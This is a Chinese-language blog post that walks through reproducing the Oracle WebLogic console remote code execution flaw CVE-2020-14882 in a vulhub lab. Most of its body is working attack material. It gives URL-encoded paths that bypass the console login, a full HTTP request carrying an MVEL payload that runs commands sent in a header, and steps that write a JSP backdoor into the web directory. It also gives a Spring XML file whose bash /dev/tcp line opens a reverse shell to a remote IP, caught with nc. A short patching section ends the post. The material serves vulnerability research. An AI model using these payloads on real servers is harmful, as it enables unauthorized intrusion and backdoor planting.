Weblogic Console HTTP协议远程代码执行漏洞复现（CVE-2020-14882）

怼烎@ 2024-04-07 10:49 94阅读 0赞

####  ####

#### 0x01 漏洞描述 ####

近日，Oracle WebLogic Server 远程代码执行漏洞 (CVE-2020-14882)POC 被公开,未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求，利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件，且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后，远程且未经授权的攻击者可以直接在服务端执行任意代码，获取系统权限

#### 0x02 漏洞影响 ####

Oracle WebLogic Server，版本10.3.6.0，12.1.3.0，12.2.1.3，12.2.1.4，14.1.1.0

#### 0x03 漏洞复现： ####

**一、环境配置**

1.本次漏洞复现采用vulhub的环境，weblocig的版本为12.2.1.3.0,该版本存在漏洞

https://github.com/vulhub/vulhub/tree/173136b310693d50cac183c6218e64c861e2aaf5/weblogic/CVE-2020-14882

2.复现漏洞环境配置

git clone [https://github.com/vulhub/vulhub.git][https_github.com_vulhub_vulhub.git]

![471656030bfe79d1889a948659262e7e.png][]

cd vulhub/

cd weblogic/

![f0ee97762c3dac81ec8546a1c6acedf2.png][]

curl -s https://bootstrap.pypa.io/get-pip.py | python3

![2fef6ebe3fc939d84b3e35176e9c2a98.png][]

service docker start

pip install docker-compose

![280fac4800908d990dc8ef7aedacfb0d.png][]

docker-compose up -d

![81d6fe7652faac3aa04257b1b708ba70.png][]

访问http://45.77.248.227:7001/console,即可部署weblogic环境

![33c879a3ecbf3af38541efd441cb63bd.png][]

**二、绕过后台登录**

1.权限漏洞绕过，主要的POC如下：

/console/images/%252E%252E%252Fconsole.portal

/console/css/%25%32%65%25%32%65%25%32%66console.portal

大写换成小写可绕过补丁：

/console/css/%252e%252e%252fconsole.portal

2.weblocig12绕过后台登录

[http://45.77.248.227:7001/console/images/%252E%252E%252Fconsole.portal][http_45.77.248.227_7001_console_images_252E_252E_252Fconsole.portal]

![d81627e9bb5a3cb6867937b2444b91f6.png][]

[http://45.77.248.227:7001//console/css/%25%32%65%25%32%65%25%32%66console.portal][http_45.77.248.227_7001_console_css_25_32_65_25_32_65_25_32_66console.portal]

![5ff993a0a7b81af27e84e8aa9fa50fec.png][]

[http://45.77.248.227:7001/console/css/%252e%252e%252fconsole.portal][http_45.77.248.227_7001_console_css_252e_252e_252fconsole.portal] (小写绕过)

![7c66aa96625080fe8ca8794e8795e4ac.png][]

**三、脚本化利用**

脚本地址： [https://github.com/backlion/CVE-2020-14882\_ALL][https_github.com_backlion_CVE-2020-14882_ALL]

1.命令回显

python3 CVE-2020-14882\_ALL.py -u http://45.77.248.227:7001/ -c "whomai"

![f43a9d95ae97fe09bfd51538d811c3ea.png][]

python3 CVE-2020-14882\_ALL.py -u http://45.77.248.227:7001/ -c "ls"

![37cff384d8d9bc0d02613b6c9171b3ed.png][]

2.外置xml文件无回显命令执行

Linux反弹shell为例，编辑好poc.xml文件

<constructor-arg>

<list>

</list>

</constructor-arg>

</bean>

</beans>

注意：上面反弹的地址是服务器IP地址

将poc.xml上传到服务器上，然后python3开启http server web

![a7d9d7adbb12fa7f2be9270dc0660248.png][]

![ebe9d3385e3a1555b81521331e166b3f.png][]

通过脚本执行命令

python3 CVE-2020-14882\_ALL.py -u [http://45.77.248.227:7001/ -x][http_45.77.248.227_7001_ -x] http://45.77.248.227:8000/poc.xml

![59d0cb9dedf3fd6ad1d6aba1edc3b597.png][]

服务器上用nc监听端口

nc -llvp 2233

![49cc81b819cec7d85c0465b665d63a4c.png][]

**四、手工提交利用方式一**

1.通过提交如下poc，可远程执行命令，这里最好是通过上面的绕过后台，然后通过burpsuit抓包，修改为如下的POC即可。

GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test\_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String\[\] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String\[\]\{"cmd.exe", "/c", cmd\} : new String\[\]\{"/bin/sh", "-c", cmd\};if(cmd != null )\{ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();\} currentThread.interrupt();') HTTP/1.1

Host: 45.77.248.227:7001

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36

Accept: \*/\*

Referer: http://45.77.248.227:7001//console/images/%252E%252E%252Fconsole.portal?\_nfpb=false&\_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);

Accept-Encoding: gzip, deflate

cmd:whoami && pwd

Accept-Language: zh-CN,zh;q=0.9

Cookie: ADMINCONSOLESESSION=8guoLM33tVnPrUomY4v8yi8C9bd-Glfq8JOrW2ntH-gJYHZ-oGgQ!1524101341

Connection: close

![b0ba0c0d9a2f7d26d2e968d78bd31292.png][]

2.当前页面的路径为：

/u01/oracle/user\_projects/domains/base\_domain

3.那么可以在该目录下写入后门文件：

/u01/oracle/wlserver/server/lib/consoleapp/webapp/images

![321125f955dae1e63451cf758bebc2ca.png][]

4.通过提交如下poc即可写入后门

Host: 45.77.248.227:7001

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36

Accept: \*/\*

Accept-Encoding: gzip, deflate

cmd:whoami && pwd & echo 'this is a test!' > /u01/oracle/wlserver/server/lib/consoleapp/webapp/images/test.jsp

Accept-Language: zh-CN,zh;q=0.9

Cookie: ADMINCONSOLESESSION=8guoLM33tVnPrUomY4v8yi8C9bd-Glfq8JOrW2ntH-gJYHZ-oGgQ!1524101341

Connection: close

![58c91702872b992588975e1325a85e09.png][]

5.可以看到weblogic虚拟目录下写入了后门文件

![11249956037ebca5d591c4a567900360.png][]

6.访问如下地址，即可获取后门

http://45.77.248.227:7001/console/images/test.jsp

![d25a90c3f9a67cf1b290c002e4901e3f.png][]

**五、手工利用方式二**

1、linux下通过远程访问xml文件执行反弹shell

首先，我们需要构造一个XML文件，并将其保存在Weblogic可以访问到的服务器上，如http://45.77.248.227:8000/poc.xml：

<?xml version="1.0" encoding="UTF-8" ?>
    <beansxmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <beanid="pb"class="java.lang.ProcessBuilder"init-method="start">
            <constructor-arg>
              <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[bash -i >& /dev/tcp/45.77.248.227/2233  0>&1]]></value>
              </list>
            </constructor-arg>
        </bean>
    </beans>

通过FileSystemXmlApplicationContext()函数远程加载xml，这里访问如下地址：

http://45.77.248.227:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://45.77.248.227:8000/poc.xml")

![3815de7a93f4b3891b74beb8b8b20e5e.png][]

服务监听nc反弹

nc -lvvp 2233

![28d5c2e1d0c6e86a6bc4a60292e80c9e.png][]

或者

通过ClassPathXmlApplicationContext()函数远程加载xml

http://45.77.248.227:7001/console/images/%252E%252E%252Fconsole.portal?\_nfpb=true&\_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://45.77.248.227:8000/poc.xml")

![38d0132495c3fd6678cef103271a12f4.png][]

服务监听nc反弹

nc -lvvp 2233

![73e8a8cedf68e4afc3649337bdda8367.png][]

2、windows下通过FileSystemXmlApplicationContext()函数写入后门文件(weblocig\_12版本)

尝试通过FileSystemXmlApplicationContext()加载并执行远端xml文件：

http://192.168.3.136:7001/console/images/%252E%252E%252Fconsole.portal?\_nfpb=true&\_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.3.1/poc.xml")

poc.xml如下:

<constructor-arg>

<list>

</list>

</constructor-arg>

</bean>

</beans>

通过此方法，windows可以往images路径下写文件，写入路径为：

../../../wlserver/server/lib/consoleapp/webapp/images/xxx.jsp

访问http://192.168.3.136:7001/console/images/xxx.jsp

![10edf96a1ba7e470fd52966f713c3e7c.jpeg][]

写入成功~~

3、weblogic 10 写入后门

因为com.tangosol.coherence.mvel2.sh.ShellSession这个gadget，只存在于weblogic 12，weblogic10 并没有这个gadget(没有包)，所以无法使用

需要使用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext来执行，所有Weblogic版本均适用。

http://ip:7001/console/css/%2e%2e%2fconsole.portal?\_nfpb=true&\_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://server ip :8000/poc.xml")

#### **0X04 漏洞修复** ####

尝试复现的时候发现/console/consolejndi.portal路径也可以触发，所以

至少禁止以下路径的访问。或者直接禁止访问console。

*  /console/console.portal
 *  /console/consolejndi.portal

或者通过官方下载补丁，这里需要正版授权才能下载

升级官方补丁：https://www.oracle.com/security-alerts/cpuoct2020.html

[https_github.com_vulhub_vulhub.git]: https://github.com/vulhub/vulhub.git
[471656030bfe79d1889a948659262e7e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/36d4df5b04a04122ad45b15b696c0813.png
[f0ee97762c3dac81ec8546a1c6acedf2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/33c395ae694842cf918de0e7ce5685d5.png
[2fef6ebe3fc939d84b3e35176e9c2a98.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/e6bc43d7dcd14b6fa33651944b267794.png
[280fac4800908d990dc8ef7aedacfb0d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/39f85682e0b14562b7f2399c5a5662e5.png
[81d6fe7652faac3aa04257b1b708ba70.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/0cbc9f263c434127a613be55ac395fe7.png
[33c879a3ecbf3af38541efd441cb63bd.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/1c8a3052471b4cae80b30f77f1de2412.png
[http_45.77.248.227_7001_console_images_252E_252E_252Fconsole.portal]: http://45.77.248.227:7001/console/images/%252E%252E%252Fconsole.portal
[d81627e9bb5a3cb6867937b2444b91f6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/4f47116c39b94143b787554ea370b018.png
[http_45.77.248.227_7001_console_css_25_32_65_25_32_65_25_32_66console.portal]: http://45.77.248.227:7001//console/css/%25%32%65%25%32%65%25%32%66console.portal
[5ff993a0a7b81af27e84e8aa9fa50fec.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/6a322a03200b47eb836997c9ddbab084.png
[http_45.77.248.227_7001_console_css_252e_252e_252fconsole.portal]: http://45.77.248.227:7001/console/css/%252e%252e%252fconsole.portal
[7c66aa96625080fe8ca8794e8795e4ac.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/9cfa5c579a384337bd24fefcf4f2c75f.png
[https_github.com_backlion_CVE-2020-14882_ALL]: https://github.com/backlion/CVE-2020-14882_ALL
[f43a9d95ae97fe09bfd51538d811c3ea.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f597b2f5ea4746fc8f8611b5fbf4b5fd.png
[37cff384d8d9bc0d02613b6c9171b3ed.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/4b3e1f48b3144db7bb1bbff5f62fad06.png
[a7d9d7adbb12fa7f2be9270dc0660248.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/675302db71fa4249a17e9c2edbbea1fe.png
[ebe9d3385e3a1555b81521331e166b3f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/0f1452903a104307abe52a07972ffe82.png
[http_45.77.248.227_7001_ -x]: http://45.77.248.227:7001/%C2%A0%C2%A0%20-x
[59d0cb9dedf3fd6ad1d6aba1edc3b597.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/05994e7e65aa452c874374fcfb9e1de2.png
[49cc81b819cec7d85c0465b665d63a4c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/30be710182ae4e8191ed127e7f72960b.png
[b0ba0c0d9a2f7d26d2e968d78bd31292.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/3535bd6df6d349ed9c7fd77435a6bf66.png
[321125f955dae1e63451cf758bebc2ca.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/5ae70435d7c94e7baa47b284ec356c7c.png
[58c91702872b992588975e1325a85e09.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/964e25d3e1344e19b35748cc6910eb78.png
[11249956037ebca5d591c4a567900360.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d445c94d66854dc48eb025906efa9d71.png
[d25a90c3f9a67cf1b290c002e4901e3f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f543460b1ea04e9daccb7cfd4bcafada.png
[3815de7a93f4b3891b74beb8b8b20e5e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/bf8907049ff3419f963615dbae3efe93.png
[28d5c2e1d0c6e86a6bc4a60292e80c9e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/9b1cf0a87d674973a833c1cf75fd0711.png
[38d0132495c3fd6678cef103271a12f4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/3065420977bd46e6bb466214480592bb.png
[73e8a8cedf68e4afc3649337bdda8367.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d55d204df72946a5a83e1b70c983970f.png
[10edf96a1ba7e470fd52966f713c3e7c.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/4306c16ec65948c1bd88ad86c91002b3.jpeg